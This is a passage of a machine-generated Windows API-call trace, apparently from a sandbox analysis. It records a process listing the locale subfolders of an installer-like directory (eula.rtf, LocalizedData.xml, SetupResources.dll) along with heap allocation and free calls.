(in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0075.219] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0075.220] FindClose (in: hFindFile=0x11b9d90 | out: hFindFile=0x11b9d90) returned 1 [0075.220] GetProcessHeap () returned 0x11a0000 [0075.220] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0075.221] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1033", cAlternateFileName="")) returned 1 [0075.221] GetProcessHeap () returned 0x11a0000 [0075.221] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0075.221] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0075.222] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0075.222] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0075.222] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0075.222] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0075.222] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0075.222] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0075.223] GetProcessHeap () returned 0x11a0000 [0075.223] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0075.223] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1035", cAlternateFileName="")) returned 1 [0075.223] GetProcessHeap () returned 0x11a0000 [0075.223] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0075.224] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0075.224] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0075.225] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0075.225] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0075.225] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0075.225] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0075.225] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0075.225] GetProcessHeap () returned 0x11a0000 [0075.225] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0075.226] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1036", cAlternateFileName="")) returned 1 [0075.226] GetProcessHeap () returned 0x11a0000 [0075.226] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0075.226] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0075.227] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0075.228] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0075.228] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0075.228] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0075.228] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0075.228] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0075.228] GetProcessHeap () returned 0x11a0000 [0075.228] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0075.229] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1037", cAlternateFileName="")) returned 1 [0075.229] GetProcessHeap () returned 0x11a0000 [0075.229] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0075.229] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0075.230] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0075.230] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0075.230] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0075.230] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0075.230] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0075.230] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0075.231] GetProcessHeap () returned 0x11a0000 [0075.231] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0075.231] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1038", cAlternateFileName="")) returned 1 [0075.231] GetProcessHeap () returned 0x11a0000 [0075.231] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0075.232] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0075.232] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0075.233] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0075.233] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0075.233] GetProcessHeap () returned 0x11a0000 [0075.233] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0075.233] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1040", cAlternateFileName="")) returned 1 [0075.233] GetProcessHeap () returned 0x11a0000 [0075.233] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0075.234] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0077.625] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0077.625] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.625] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, 